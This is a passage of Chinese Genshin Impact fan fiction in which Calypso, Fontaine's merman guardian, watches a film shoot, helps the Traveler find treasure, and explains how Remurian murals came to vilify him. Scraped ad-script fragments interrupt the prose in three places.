静原乐了:“这就知足了?” “知足了知足了。我不贪心的。”她换算了一下,“这么说来的话,你一个月工资可以让我在遗珑埠吃连三个月天天不重样的锅子了。” “……等会带你去德波大饭店吃。我记得那维莱特说过那家的汤品味道很好。塞德娜也很喜欢他家的下午茶小蛋糕,等会去沫芒宫述职的时候可以捎几份……” 福勒依斯看着卡吕普迪斯埋头思考该买些什么带给他那些在枫丹廷各部门工作的可爱侄女们,觉得这家伙的好叔叔形象已经腌入味了。 但是没想到今天德波大饭店清场,门口的侍者说,是有人包下了大厅和二楼用来拍摄映影。 他们没有提前了解,不知道也正常。静原从善如流:“福勒依斯,我们明天再来吧……” “好。” 侍者尴尬打断这对搭档的对话:“抱歉,包场时间持续到明天下午五点。” 静原倒吸一口凉气,能在寸金寸土的枫丹廷开下去的饭店本身就是财大气粗,而能够在这样的饭店清场进行拍摄… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …他印象中也只有前些年官方背书拍摄的枫丹宣传片剧组,还是水神的芙宁娜女士倾情参演。 他咂巴咂巴品出点不同寻常的味来,对着侍者笑了笑。福勒依斯也对品尝哪里的菜肴都没有意见,推着静原离开。他俩面色轻松,留下一脸苦涩的侍者站在原地。 那是卡吕普迪斯大人吧……蓝色的长发,蓝色的眼睛,他小时候在海岸边见过对方,不会认错的。身后推着轮椅的应该也是水族……虽然不知道为什么卡吕普迪斯大人会坐轮椅,但是他这番乔装打扮的模样肯定是微服私访……天哪,卡吕普迪斯大人也愿意来我们饭店用餐……老板如果知道了,应该不会后悔吧。 那边的福勒依斯:“你认得那个侍者?” “怎么说?” “你可不是会对陌生人轻易笑的性格,在外人面前为了维持你的形象,要多高冷有多高冷。”福勒依斯眯了眯眼睛,发现了什么似的,“不过也有例外,你最喜欢小孩。” “他小时候,我见过他一次。本来还想着以后去找他玩,结果下次到那处海岸,才发现他们一家已经搬走了。”静原风轻云淡一笔带过十几年前的事,“你看地图了吗,决定好我们中午吃什么没?” “我想吃洋葱汤和奶油炖鸡。” “好。” 那孩子以为自己已经不记得他了……就让他这么认为吧。 当天游览了枫丹廷,晚上和福勒依斯一个睡海底一个睡在湖中垂柳。第二天再去枫丹廷闲逛的时候,这才偶遇了旅行者。 派蒙最先看到蓝发都福勒依斯推着轮椅走,由于静原戴了帽子,背影又难分雌雄,派蒙并没有第一时间想到那是静原。当他侧身去够报摊上的杂志时,派蒙看见了垂下的蓝发,这才反应过来。 “那是福勒依斯和卡吕普迪斯吧?不知道他的伤势好了没有,旅行者,我们去打个招呼吧。” 旅行者一般不会拒绝自家应急食品的提议,他走过去同二位打招呼:“上午好,卡吕普迪斯,福勒依斯。” “上午好呀,旅行者,派蒙。”福勒依斯笑,“吃过早饭了吗?” “吃过了,是很丰盛的一顿早餐呢。”派蒙摸摸小肚子,“你们呢?吃的什么?卡吕普迪斯的腿还痛不痛?身上难不难受?” 旅行者柔和的金色眼睛看向静原,看着他对派蒙的问题一一作出回答后:“帽子很好看。” 这顶白布蓝丝带蝴蝶结的花边帽子原本是一件华丽裙装的搭配——福勒依斯身上那件裙装。导致别人见这俩人乍一看还是姐妹。 旅行者言语中的调侃意味静原当然听得出来,不过也没什么,转移话题:“两位觉得枫丹廷有大型的购物场所吗?我从前没来过,想知道哪里适合游玩。” “千灵节到处都是人,卡吕普迪斯你确定要去商场吗?”派蒙好心提醒。 “有道理。但是暂时想不到要去哪里逛逛。”此时刮过一阵风,静原抬手理了理帽子,“福勒依斯喜欢热闹。” 福勒依斯摊手:“毕竟看着人类像小蚂蚁一样聚在一起活动,很有意思。” 派蒙:“……不太懂你们水族……” 派蒙:“不过既然不知道要去哪里玩的话,要不要来看我们拍摄映影?很好玩的哟。” 旅行者不会反对,反而注视着静原。后者看了看福勒依斯,又看了看旅行者:“片场允许外人进入吗?” “嘿嘿嘿,因为总制片人是我们的好朋友泽维尔,如果你去观看映影拍摄的话,到时候就可以以此作为宣传啦。”派蒙有点不好意思,但还是告诉了静原她的小想法。 静原笑了笑:“好。” 旅行者和派蒙不知道他这声代表着什么,福勒依斯倒是隐约感受到他散发的善意,很奇怪这家伙竟然愿意主动被卷进去。 不过看了看派蒙的小包子脸,她又觉得一切正常。 毕竟卡吕普迪斯真的喜欢孩子。 泽维尔和旅行者拉起来的本来是个草台班子,不过在枫丹顶级大明星芙宁娜女士加入后显得那么正式且阵容豪华。枫丹特训队队长夏沃蕾,稻妻社奉行大小姐神里绫华作为主演,稻妻烟花商长野原宵宫当助手,服化道顾问是大名鼎鼎的千织屋老板千织…… 静原坐在轮椅上看着对他到来不胜欣喜的泽维尔,觉得这孩子真是运道了得。 夏沃蕾在派蒙介绍他之前就主动打招呼:“上午好,卡吕普迪斯大人。” “上午好,夏沃蕾队长。不用叫我大人,我只是来旁观的。” 派蒙很惊讶:“夏沃蕾认识卡吕普迪斯吗?” “当然,从前处理一桩棘手的杀人案时,就是卡吕普迪斯……先生从旁协助,找到了海下洞窟里被犯人藏起来的赃物罪证。”夏沃蕾简单介绍了几句,“就算不提这些交集,枫丹也没人不知道卡吕普迪斯。” 泽维尔两眼放光,浑身洋溢着幸福的泡泡。哪怕大家都对坐在一块休息,他也不肯错眼。 芙宁娜导演坐在椅子上喝茶,对好奇的神里绫华小声解释:“卡吕普迪斯是枫丹的大守护者,守护枫丹的时间比枫丹建国史还久远,所以民众们、包括我在内对他都相当信重。” 过去那些提心吊胆的日子她不愿意回想,可因为卡吕普迪斯在,她从未担心过海上的事。枫丹人民相信不管天气多糟旅途多险,只要呼唤卡吕普迪斯之名,在海上就一定可以化险为夷。就像他们信任那维莱特会在法庭上给予公正判决那样。 真的非常可靠且值得信赖啊。 神里绫华惊叹会有长生种在一个国家拥有如此高的社会地位和民间声望,稻妻虽然也有大妖怪,比如曾经神社的白辰主母,但那位已经离开太久了。如今的稻妻并没有如此人物。九条裟罗虽然也被尊敬着,但并没有像这样受到爱戴。 “真了不起。”神里绫华轻轻感叹,注视着那位轮椅上的先生,对方感受到她善意的视线,望过来后对她露出柔和的微笑。 神里绫华脸上浮现薄红,像是稻妻的樱花那般美丽。 这种的笑容,和兄长大人很像…… 有点想哥哥了呢。* 49.爱 如派蒙所言,让他俩来旁观就真的只是旁观。 福勒依斯喜欢人多的地方,喜欢看热闹,那么片场的确是个好选择。因为片场内女孩子多,小蛋糕甜品茶水供应更是没少过,她吃得超级满意。 静原坐在轮椅上看人类演绎故事,看派蒙这小家伙当场记全场乱飞,面上忍不住露出笑容。 对于见惯了人类百态的人鱼来说,这样的场面也确实值得他露出笑容。 泽维尔坐在他旁边,好几次想说话都忍住了。静原余光看见了他的动作,并不言语,福勒依斯又只顾着吃,因此这个角落里竟然诡异的安静。 因此当神里绫人回到片场后,就看见一个陌生的蓝发青年坐在角落静静旁观的模样。 泽维尔终于找到他能自然流畅切入的话题了,向神里先生介绍静原后,顺理成章开始跟静原拉家常。 静原一一做出回答,被问到假期一般都怎么度过时,他稍稍思考了一会。 “一般在海里睡觉,或者去沉玉谷旅游。”静原想到了什么,笑了笑,“也是换个地方吃吃喝喝罢了。和人类没有什么区别。” “是这样啊……我之前看小报,说您彻夜不休的巡逻海上……”泽维尔想起这个传言,深感骗人。 静原:“那是一百年前的事了。我现在这个状态,用人类的话来讲应该就是半退休,海上很多事都不太管了。” 静原:“毕竟枫丹海这百年来都风平浪静……前段时间的洪水算个例外。” 说起洪水,神里绫人也表达了自己的疑惑:“稻妻距离枫丹十分遥远,我没能亲眼见到那副场景。不过我和妹妹她们来时的路上也听到其他国家的人们感叹那次的洪水,想来相当壮观。” 何止是壮观,因为枫丹本身海平面远高于其他国家版图,算上那天的洪水,其他国家能清楚看到整个枫丹都被突然上涨的海水浸泡。而国界线以外的水流大地毫无波澜。 如此伟岸的神力,只为诅咒与惩罚。 静原讽刺一笑,随便找了个话题不再多言。神里绫人看出他的意图,也配合的聊起枫丹的逸闻趣事。 福勒依斯对于这种场景敬谢不敏,继续吃蛋糕。 映影前半段拍摄结束,静原和福勒依斯稍稍逗留了一会也就离开了,俩人一起去沫芒宫找那维莱特述职,静原顺嘴提了几句芙宁娜现状:“芙宁娜女士似乎已经从阴影中走出来了,她现在在担任一部片子的导演。映影播放那天,要一起去看吗?” 那维莱特从前常常在歌剧院欣赏芙宁娜导演表演,当时位对方精妙绝伦的表演叫好,如今想来,戏中人同时也是戏中人。 那维莱特颔首:“我会预留出时间的。” 那维莱特和芙宁娜之间五百年的情分,静原看在眼里,两人一个觉得自己骗了对方几百年,非常不好意思。一个想着对方付出了这么多,自己还误会她,非常不好意思。 静原回想起从德波大饭店离开前芙宁娜私下找他扭扭捏捏问的话,只想叹气。 “卡吕普迪斯,我知道你是他的……家人。下次去沫芒宫述职的话,可以代替我告诉他,谢谢他五百年的照顾吗?” “有些话,当面说可能会比较好。” “我……我骗了他五百年,骗他来到枫丹当审判官。现在看到他就莫名气虚气短,也许、也许以后我就有勇气当面向他道谢了。但至少现在,请你帮帮我吧……” “……” “你最好了卡吕普迪斯,我只敢跟你这么说……” “好。” “那维莱特。” “嗯?” “她说,她很感谢你这五百年对她的照顾。”静原想了想,又添了一句,“期待下次再见。” 那维莱特知道卡吕普迪斯说的是谁,闻言一愣,然后郑重的点点头:“我也是。” 那维莱特再次感叹:“这五百年也辛苦她了。” “……幸好已经结束了。” “你说得对。不过……卡吕普迪斯,你的腿还好吗?轮椅舒适度怎么样?需要再加个软垫和靠背吗?难受的话一定不要勉强,我还没弄懂为什么源海赐福是这样的状况……” 静原失笑。 千灵映影节持续时间还挺长,静原变成人和福勒依斯在枫丹廷逛了几天,也能下地走两步了。 对此福勒依斯相当欣慰,拿出手帕擦擦眼角不存在的泪水:“真想给你办桌酒席庆祝一下你会走路了……” “你不要超级加辈啊。”别以为他不知道璃月风俗有给孩子办酒席庆祝这一条,具体庆祝什么不一而足,满月满周岁满十岁…… 福勒依斯明显学了个半成。 皮一下很开心。 “不过我有点吃腻了枫丹菜,过几天回璃月好好搓一顿,下馆子去。” “行。那今天先随便吃点,我找个派蒙之前推荐过的那家餐厅。”静原做计划,“吃完饭,泽维尔他们的映影评选结果也就要出来了。到时候会公演一次,看完了这次节日也就要结束了。” “再过两个月就是海灯节,今年你可以和我一起准备了。沉玉谷都是提前一个月就开始……” “你怎么不过逐月节?”静原想起璃月还有这个节日,但很少听福勒依斯提起。 “……我讨厌五仁月饼。” 毫不意外的回答。 不过围绕在枫丹上空的阴霾已经褪去,好好享受每一天,期待每一个节日每一道美食,好像才是生命会有的生活。 至少卸下了沉重心防的静原也开始期待不日后的海灯节。 这一次,他就能和福勒依斯一起走近人群中了。 静原被着推着往前走,抬头去看提瓦特美丽的天空。也许未来有残忍的命运等待他踏上去,但至少他现在感受到了平和而宁静的幸福。 就像原始胎海意识对他的祝福那样。 “不过……话说回来……你见到了卡吕普迪斯大人居然都没告诉我!!!”夏洛蒂听到这个消息后震惊了,发出控诉,“旅行者,太不够意思了啊!” 旅行者尴尬挠头:“哎呀这不是忙着拍摄映影,忘了嘛……”其实还协助夏沃蕾处理了一桩杀人案。 “唉……其实告 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 诉我了也没用,卡吕普迪斯大人并不愿意接受采访。他应该不喜欢被打扰。”夏洛蒂倒也想得通,“抱歉,旅行者,刚刚凶了你……” “不算什么,我很能理解你对新闻和热点的追求。而且你想采访卡吕普迪斯也不是一天两天了。”旅行者想到那位人鱼先生,觉得夏洛蒂任重而道远。 对方其实很享受和朋友在一起的私人空间,哪怕是受派蒙邀请来旁观拍摄,真就只是坐在角落里静静的注视。 派蒙感慨:“虽然很有距离感,但总觉得他很亲切……真是矛盾。” 夏洛蒂听到这话忍不住解释:“并不矛盾,因为如果是派蒙感受到的话,恰恰证明卡吕普迪斯大人的特质。” “卡吕普迪斯大人最喜欢孩子,哪怕再生气,只要有孩子在场,语气都会异常温和平缓。我记得以前采访过沫芒宫的职员,他说他们的前辈曾与卡吕普迪斯大人共事,对方发怒的时候恰如海上风暴,见到孩子立刻变为和风细雨。”夏洛蒂叹气,“因此一直有人试图培养幼年记者去接近并采访对方,不过雇佣未成年在枫丹是重罪,这种情况也就只停留在理论层面。” 派蒙:“你们枫丹人真的很想探究他啊。” 不怪对方那么逃避。 “因为大家都很爱他呀。”夏洛蒂突然如此感叹,“枫丹人祖祖辈辈都听着他的故事长大,看着他在海面上巡逻,看着他带领鲸群南北迁徙……卡吕普迪斯大人一直都是主动付出的那一方,他不到岸上来,摩拉便对他无用。他不是神明,信仰于他可有可无。我们爱戴他,就像爱戴水神,爱戴审判官那样。可相比在岸上生活的二位,久居深海的卡吕普迪斯大人太神秘了。” “我们都很想了解他,很想知道他真正需要的是什么。就像将表演带到芙宁娜大人面前,让公正在那维莱特大人眼中绽放。因此千百年来,有关他的文艺创作从来没有少过,只要不是闹得特别特别过分,他从来不打压。可是越是这样,大家越想知道真实的他。” 夏洛蒂深呼吸一口气:“尤其当我听到你们说,卡吕普迪斯大人变成了人类的模样后,新的好奇也由此产生。” “是什么驱使他产生如此的改变呢?是什么样的愿望让他走入到人群中呢?”夏洛蒂说,“我有一种预感,如果我们知道了其中缘由,就真正走入卡吕普迪斯大人的内心。 旅行者听完沉默良久:“可是,这种让他感受到压迫的爱意,真的是他想要的吗?” 夏洛蒂:“!” 派蒙也十分赞同:“你想,大家都说卡吕普迪斯善待孩童。可对他这种年纪的生命来说,枫丹人都是被他看着长大的孩子,为什么区别这样大呢?而且你们都知道他生气起来很恐怖,可是这样迫切的探知他,换作其他人早就不高兴了。但他也只是不厌其烦然后躲起来,从来没有对你们发过火吧?” “他坐在角落看人们的时候,眼神很温柔。”旅行者补充道,“我觉得他爱你们多一些。” “其实是他在包容你们,就像海包容所有那样。” 旅行者开始明白为什么枫丹人如此喜爱人鱼了。 50.以前的故事 静原保持了相当长一段时间的人形。 他学会走路后,经常光着脚在海滩上行走,拾捡一些漂亮的贝壳,做成风铃和其他装饰物挂在海沫村。旅行者在枫丹各地四处探险的时候,偶尔能在山顶看见山下小小的蓝色身影。 派蒙总会说:“旅行者,我们去找卡吕普迪斯打个招呼吧?” 旅行者对派蒙一贯是宠爱有加的,每次都点头答应,然后打开风之翼滑翔而下,轻轻跳到静原的身后。 派蒙很喜欢找卡吕普迪斯搭话,对方身上似乎有什么次元口袋,总会拿出一些可口的小点心给她吃,连旅行者都连带着有份。 这次也不例外。 “早上好,卡吕普迪斯,你在做什么呀?” 静原捏着一只海螺:“捡海螺贝壳做装饰……你们吃过早餐了吗?没有的话,我这里还有一些小酥点。” 派蒙自认和对方熟悉了,一点也不见外的接过来:“其实吃过早饭啦,不过我还是想尝一尝小酥点……唔!奶油夹心的!好吃!” 旅行者自觉自己是跟着派蒙沾光,跟着吃了几枚酥点。咸蛋黄的,甜奶油的,巧克力的,抹茶红豆的……竟然每一口都不一样。 静原看得见旅行者金色的眼睛变得圆溜溜,笑了笑:“这是沉玉谷新出的点心,喜欢的话,下次回来也给你们带几份。” 派蒙连连点头:“好呀好呀,先提前谢谢你啦!” 旅行者倒是好奇起来:“璃月的沉玉谷吗?话说起来,今年海灯节期间倒是有计划去沉玉谷旅游呢。” “沉玉谷是个好地方,人杰地灵,钟灵毓秀,产出的茶叶品质是全提瓦特最好的。不过近些年出了些问题,品质大不如前,出口量也减少了许多。”静原也就是顺嘴一提,“今天计划去哪里冒险呢?” “今天打算去黎翡区还有那里的海域。”派蒙嘿嘿笑着,“宝箱宝箱!找宝箱!” 说起宝箱……静原摸了摸下巴:“我今天也要去那边照顾新生的小鲸鱼,介意我和你们同行吗?” “当然不介意啦!” 于是旅行者的探险小队顺理成章的加入了静原。虽然是人身的形态,但游泳姿势依旧优雅美丽。蓝色的长发和眼瞳几乎要和海融为一体,有时候连旅行者也会恍惚。 难怪枫丹诗集里常用“深海的精灵”来指代他。 看上去真的就是来自海的精灵…… 平心而论,和卡吕普迪斯同行冒险很安心。海中游鱼从不会对他主动发起进攻,过去自己接近原海异种守护的宝藏时总难免被攻击,可是卡吕普迪斯要取走这些东西简直轻而易举,从不会被敌视攻击。 好厉害。 他相信他的眼睛里已经写着这样的话,不然卡吕普迪斯不会突兀的笑出声来。 “其实它们不懂宝藏的意义,只知道这是它们的东西,所以不能让别人抢走。”静原对此做出解释,“不过对它们来说,海中的一切都归属于我和那维莱特,所以我可以拿走。” 他将宝箱交给旅行者:“打开吧。不要打它们了。” 旅行者难得红了脸:“抱歉,之前打原海异种打太多了……” 静原摇摇头:“它们长到现在这样大并不容易,可海洋的法则自古以来就是弱肉强食适者生存。你要取走它们体内的材料我从不阻拦,可如果是像今天这样只为取走宝箱的话,还请手下留情。” 前段时间疯狂屠戮原海异种的旅行者呐呐的接过宝箱,熟门熟路的敲开箱子然后把两颗亮闪闪的原石放到背包里。 “之前我就想问了,你喜欢这些亮闪闪的宝石?” 旅行者点点头:“很好看,想收集。” 卡吕普迪斯若有所思的点点头。 接下来的路程,旅行者明显感受到宝箱出现次数越来越多,连亮闪闪的摩拉袋子都没漏下。 面对旅行者的道谢,他只是笑笑。 “我在这里生活了很多年。”他补充了一句,“很多很多年。” “你看到的宝箱和摩拉,多半是当年海上风暴摇晃船只颠落的财物,少部分是沉船腐烂留下的无主之物。也有一部分是古老遗迹给予后来者的奖励。”静原想起了过去的事,思绪飘得很远,“以前也有冒险家在这里探险,取走了宝藏,又留下了珍贵的物品……这也是人类的习性吗?” 旅行者抱着满满当当的宝箱摇摇头:“我可是蝗虫过境贼不走空,基本不会留下什么。” “这样啊……” 和静原分开的时候,旅行者还有点小舍不得。毕竟一路有对方带着拿宝箱真的是太爽了,遗迹机关什么的都轻松破解——虽然他自己也能解开啦。 派蒙感叹:“好安逸。而且卡吕普迪斯每一次带你解开遗迹机关拿走宝箱后,又会把它们恢复原状,这是为什么呢?” “不知道……”旅行者摇摇头。 静原回到海下,又在遗迹机关那捣鼓了一会,塞了一些摩拉和宝石进去。 其实现在浅海区许多机关都是以前岸上的人类冒险家布置的,他们对趴在海滩上围观的静原说这是冒险家前辈给予后备的考验。 “卡吕普迪斯大人如果看到了有因为这些机关苦恼的冒险家后生,一定不要嘲笑他们呀。” 曾有人为自己绝妙的智慧骄傲:“这可是我想了一个月才做出来的机关!” 人鱼的眼瞳如沉静的湖泊,映照出冒险家意气风发的模样,他和他的好友们的笑容再次被人鱼记起,但是很短暂,就像海中逐渐升起的泡泡,晃晃悠悠往上浮,然后突然破裂。 在当时堪称精妙绝伦的机关,放在后世也不过只是孩童的玩具罢了。年年都有冒险家来,年年都有人破解它取走前人留下的宝藏。直到海平面上涨,淹没了曾经是山丘的青草地,让这些机关在海中沉寂已有数百年。 像旅行者这样的海底冒险家虽然少,但不代表以后没有。也许再过一些年,又有人在水下探险呢?也许再过一些年,山岳耸立海潮褪去,这些古老机关又会显露在世人眼中呢? 他晃了晃腿,抱着一只好奇的海獭游远了些。 海露花柔软的吐露着心事,海底静悄悄的,一如从前每一个平凡的日子。 “卡吕普迪斯大人的年纪?”林尼面对旅行者这个问题很有些惊讶,然后认认真真思考了一会,“千岁应该是有的。” 琳妮特做出补充:“卡吕普迪斯大人在枫丹有明确可考的活动记录可以追溯到前任、前前任水神厄歌莉娅所在的旧枫丹时期。” 他们几个在露泽咖啡厅坐着喝茶吃蛋糕,享受枫丹安然的午后时光。就连向来内敛的菲米尼也低着头注视着盘中的小块慕斯蛋糕,点点头说:“他说过,他是看着枫丹建立起来的。在雷穆利亚时代终结之后。” 那确实是千岁打底。说久不久,毕竟隔壁璃月的长生种仙人们都是千岁为年纪单位的。说短也不短,好歹活了千年呢。 林尼:“旅行者怎么突然对卡吕普迪斯大人的年纪好奇起来?” “是这样的,前几天我和旅行者在枫丹水下遗迹探险,意外发现了海底石室上的壁画。又是船又是金色太阳又是音乐符号的,还有海浪和海浪中的人影。人身鱼尾巴,全枫丹也只有那么一位吧。”派蒙解释道,“然后我就很好奇,这上面画的是不是卡吕普迪斯,如果是他的话,又讲的什么故事……我现在对他可好奇啦。” 旅行者一边拿出映影机洗出来的映影片子,一边说:“幸好我记得拍下来,不然就来不及了。不过那上面画的卡吕普迪斯有点怪怪的……” 后一句话声音很轻很轻,几乎没人听到。 菲米尼有股不好的预感:“怎么说呢?” 派蒙飞快补充:“因为我们拿了宝箱离开后,海水就汹涌的灌进来,再潜下去看的时候,那些脆弱的壁画已经片片剥落,颜色也褪得看不清了。” 三小只一片死寂。 周围安静得可怕。 林尼扯了扯身边的旅行者衣服下摆:“小声些吧。周围人脸色都不对了。” 旅行者敏锐察觉到周围客人的目光,赶紧把无知无觉的派蒙捞进怀中捂住嘴,低声和自家应急食品说:“我们好像惹上麻烦了。” 派蒙不理解:“拿宝箱犯法了吗?” 琳妮特:“不是宝箱的问题。” 菲米尼:“枫丹前两百年就出台了文物和遗迹保护法,允许拿走宝箱,但不能破坏遗迹。尤其是……壁画。” 考虑到冒险家协会在提瓦特大陆上纵横数千年,冒险家探索遗迹怎么可能不拿走宝箱这一特性,枫丹律法有点人性化。只是对于一些历史遗迹还是呼吁大家保护,为此出台了法律做保证。 最后热心的枫丹人还是叫来了警备队,旅行者和派蒙带上了他们的映影机被迫迷沫芒宫一日游。 派蒙:“难道又要去梅洛彼得堡了吗?” 旅行者:“可能吧。”这也算是二进宫了。 带路的美露莘还是熟悉的梅莘警官:“别担心,旅行者和派蒙。因为是海下的遗迹,需要通知卡吕普迪斯大人来判断量刑的轻重程度。审判庭会着重参考卡吕普迪斯大人的意见的。” 派蒙两眼含泪:“谢谢你,梅莘。感觉更没救了。” 毕竟那处海底石室是真的毁掉了啊。 旅行者缩着脖子,不敢多言。 静原来的很快,还是人类外形的模样,光着脚踩在沫芒宫柔软的地毯上,引路的美露莘得到了他的摸摸后,美滋滋的拿来了材料供他翻看。 在一旁忐忑不安的派蒙飞到静原身边:“要宣判了吗?我现在要准备去梅洛彼得堡了吗?” “别紧张,我先看看。底片还在吗?” 沫芒宫职员递来了一个文件袋,静原找了个地方坐下看了一会,在他看的期间,陆续有几个学者找上了沫芒宫复律廷,要求看看那处被破坏的遗迹留存的痕迹。 然后克洛琳德就把这些不好惹的学者带了进来,站在一旁双手抱胸,以防有情绪激动的人闹事。 不是她小题大做,之前就发生过一起冒险家破坏遗迹,被考据这个遗迹的学者揪着衣领怒骂的事情。沫芒宫职员拉架都拉不开,场面一度精彩。 “这、这得是雷穆利亚时代的壁画吧!” “天哪,拍摄得好清晰,不知道实物又会是怎样的……” 本来旅行者听到前半句还挺直了身板有点骄傲自己的拍摄手艺,听到后半句就把脖子继续缩起来了。 学者们推了推眼镜,凑在静原身边小声感叹:“卡吕普迪斯大人,这画的是您吧?这是歌颂您的功德吗?” 静原沉默了一会:“这要怎么说呢?也许你听过雷穆利亚时代遗民和逐影猎人的故事?” 克洛琳德竖起耳朵:“还有逐影猎人的事?” “有,你看这张,这里画的就是逐影猎人标志性的符号。你的帽子上也有这种符号。”静原思索了一会才说,“这也不是什么歌颂功德的事。咱们都给骂了而已。” 静原:“有人记得雷穆利亚王朝覆灭后,旧枫丹建立初期,有一批雷穆利亚遗民四处破坏的历史吗?我记得现在的高年级历史书上有提到过。” 场面一度变为老师提问环节,老学者挺直了腰板:“我在教令院进修的时候,就是研究的这个方向。当年确有此事,这一批遗民分为两个派别,一部分搞破坏,不甘心雷穆利亚覆灭。一部分认清了现实,选择阻止同胞。后者即是逐影猎人的前身,以前还被叫做黄金猎人。不过据说首领不喜欢这个称呼,才改了。” 克洛琳德看见卡吕普迪斯点点头:“的确如此。逐影猎人,意思就是追逐森森鬼影的人。对当时的枫丹来说,黄金时代的遗民就是林中森然的鬼影,是旧时代被抛弃的不甘心的怨愤。这和壁画有什么关系呢?是不是有人要问这个?” 静原叹气:“我们可以议论评判 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他们,他们也有记录历史和故事的手段。不过黄金乐章崩乱后,我已经很久没有看见这样的痕迹了。还有点稀奇。” 克洛琳德跟过来瞅了几眼,看不懂,选择直接问:“讲的什么?” “我把他们的船打翻了。逐影猎人是叛徒,需要被清除。最后是表达了对黄金之国复辟的美好希望。”静原点了点照片,“才不是歌颂功德……把我画得这么丑,像璃月青面獠牙的夜叉,逐影猎人也被骂成吃里扒外的笨蛋。” 夜叉:? 逐影猎人:? 旅行者低声道:“难怪感觉怪怪的,原来是故意丑化。” 派蒙:“夜叉不丑,可好看啦。”魈上仙就很帅气英俊! 静原笑了一下:“抱歉,我无意冒犯。不过夜叉傩面是真的吓人,本意是通过恐惧震慑,驱散鬼神。他们把我画成这样,也是为了告诫后来者离我远一点。” 克洛琳德眉毛上挑:“那看来能和卡吕普迪斯大人被他们放在一起谈论,逐影猎人确实该感到荣幸。” “说笑了……好了,这确实是黄金遗民的作品,那处石室我在旅行者画出的范围内确定了,不是什么珍贵的文化古迹。学者就算到那里现场考古,得到的发现还不如从我这里听两个故事划算。这种遗迹也不在枫丹法律保护范围内,可以散了。”静原起身准备离开,突然停住了脚步,“对了,我打算把那片坍塌的石室清理出来,要不要留点什么等你们考据?” 老学者忙追上去:“等等,我要去。我还是想看看现场。” 几个学者跟在静原身后匆匆离开,不多时克洛琳德也走了。旅行者和派蒙两个人可怜巴巴的望着沫芒宫职员,对方扛不住这样亮闪闪的眼神:“好吧好吧,我加紧时间复审。” 最后结果是罚款和批评教育,罚款金额也不多,两万摩拉,对旅行者来说也就是洒洒水的事。批评教育交给了学者和枫丹冒险家协会会长负责,他俩被念得一个头两个大,最后找娜维娅吃点心的时候脑瓜子还是嗡嗡的。 派蒙往嘴里塞甜甜的马卡龙:“下次再也不大声嚷嚷了。”谁知道又会触犯枫丹哪一条奇怪的律法。 旅行者也有点心累,不过更多的还是惊讶:“竟然会把卡吕普迪斯画上壁画来骂他,这得是什么仇什么恨啊。” 派蒙:“不是说把船掀翻了吗?” 旅行者:“卡吕普迪斯恶意掀翻船?怎么想都不现实啊。” 娜维娅深以为然:“我也这么觉得。大家从小听着卡吕普迪斯大人救人的故事长大,根本没法想象这种情况。” 派蒙挥挥小拳头:“肯定不是卡吕普迪斯的错!” “哈哈哈哈哈哈哈——”娜维娅愉快的笑起来,“那下次再见到卡吕普迪斯大人的话,我们问问他吧——卡吕普迪斯大人很好的。” 娜维娅是个说干就干的姑娘,很快堵到了来枫丹廷看望侄女们的静原。 “卡吕普迪斯大人,早上好呀~”野蔷薇姑娘从高台一跃而下,高跟鞋轻巧地踩在地板上,“我给你带了新烤的马卡龙饼干!” 静原对这孩子的印象还停留在金色灵魂之海那夜,不过他不讨厌热情的人,只是虚虚扶了一把,确认这姑娘不会意外扭到脚后才说:“要问什么吗?” “就知道什么都瞒不过你。”娜维娅递上饼干盒子,“先吃,吃了我再说。” 静原没办法:“但愿你不要问一些奇怪的问题。” “放心啦,我很有分寸哒!” 最后在咖啡厅就着红茶吃了两枚——至于咖啡厅为什么卖红茶?老板表示顾客里面不乏要求上牛奶和果汁的。 娜维娅见静原不再多吃,也就单刀直入了:“上次听说旅行者闹出了件糗事,我又听人说你很了解逐影猎人和黄金遗民的故事。可以跟我讲讲吗?比如壁画上你的故事。” “是克洛琳德告诉你的吗?” “为什么会认为是克洛琳德?” “那看来不是她,应该是旅行者。”静原表示,“因为那天克洛琳德也在场,我听那维莱特说过,你和她关系很好,他看到你接她下班然后手拉手去吃晚餐的背影了。” “那维莱特大人也这么八卦……”娜维娅有点尴尬的撅嘴嘀咕。 “不是八卦,只是那天他加班,根据他所说,他透过窗户看见你俩在路灯下离去的身影,突然感受到了寂寞的情绪……”静原嘴角带笑,“很有意思。” “话题偏太远啦!” “因为娜维娅你很好奇。” “好了好了,我们进入正题。“娜维娅连连摆手,“你说你把他们的船掀翻了,所以他们才抹黑你的形象。他们做了什么事惹你生气了?” 说起这个,静原真的端着杯子仔细回想来一下:“因为当时的鲸群和雷穆利亚子民要在海上开战,我记得龙蜥也卷了进来。” “本来我是不想管的,不过那时候海水都被染上血色,很腥很臭,耳畔全是哀嚎。黄金乐章彻夜不休的流淌在振弦管道里……我让他们停战,不要在海上打,可惜没人听。然后我把他们的船掀翻了,鲸群臭骂一顿,龙蜥撵回老家,如此皆大欢喜。”静原说着摸了摸下巴,“我都没想到他们这么记仇。” “只掀翻了那一战的船吗?”娜维娅觉得事情没什么简单。 静原战术性喝茶:“以后过往的雷穆利亚船只我全都掀翻淹没了。”不然你以为为什么他护航枫丹海多年没有枫丹人死亡,海底却有不少沉船遗迹和宝藏? 老迪福洛*死了。他永远都不会原谅那些魔像。 娜维娅呆滞:“……” 娜维娅一锤定音:“都是他们的错!” 娜维娅义正言辞:“才不是卡吕普迪斯你的问题!” “真的吗?感觉你在说反话呢。” “比珍珠还真啦。” “姑且信你。” “……这还有不少马卡龙,快吃吧快吃吧。” 51.沉玉谷的日常 在枫丹旅行也有很长一段时间了,旅行者掐着点算到璃月海灯节的日子,时间一到便迫不及待抓上派蒙回璃月过节。 “蒙德的风花节,璃月的海灯节,自从咱们开始旅行后,每年都必须参加这两个节日。”派蒙如此说道,“这样才有回家的感觉嘛。” “为什么不算上每年一次的夏日冒险?” “基本上是陪可莉玩吧,不过也确实很有意思就是了。” 二人久违的走在璃月港三碗不过岗门前,听着熟悉的人声,久违的安心。 “老板,来两碗酒酿圆子!我那碗甜一点哦!”派蒙还没到桌边坐下就拔高声调点单,三碗不过岗老板光凭声音都听得这是派蒙的声音,爽快的给她和旅行者煮酒酿汤圆。 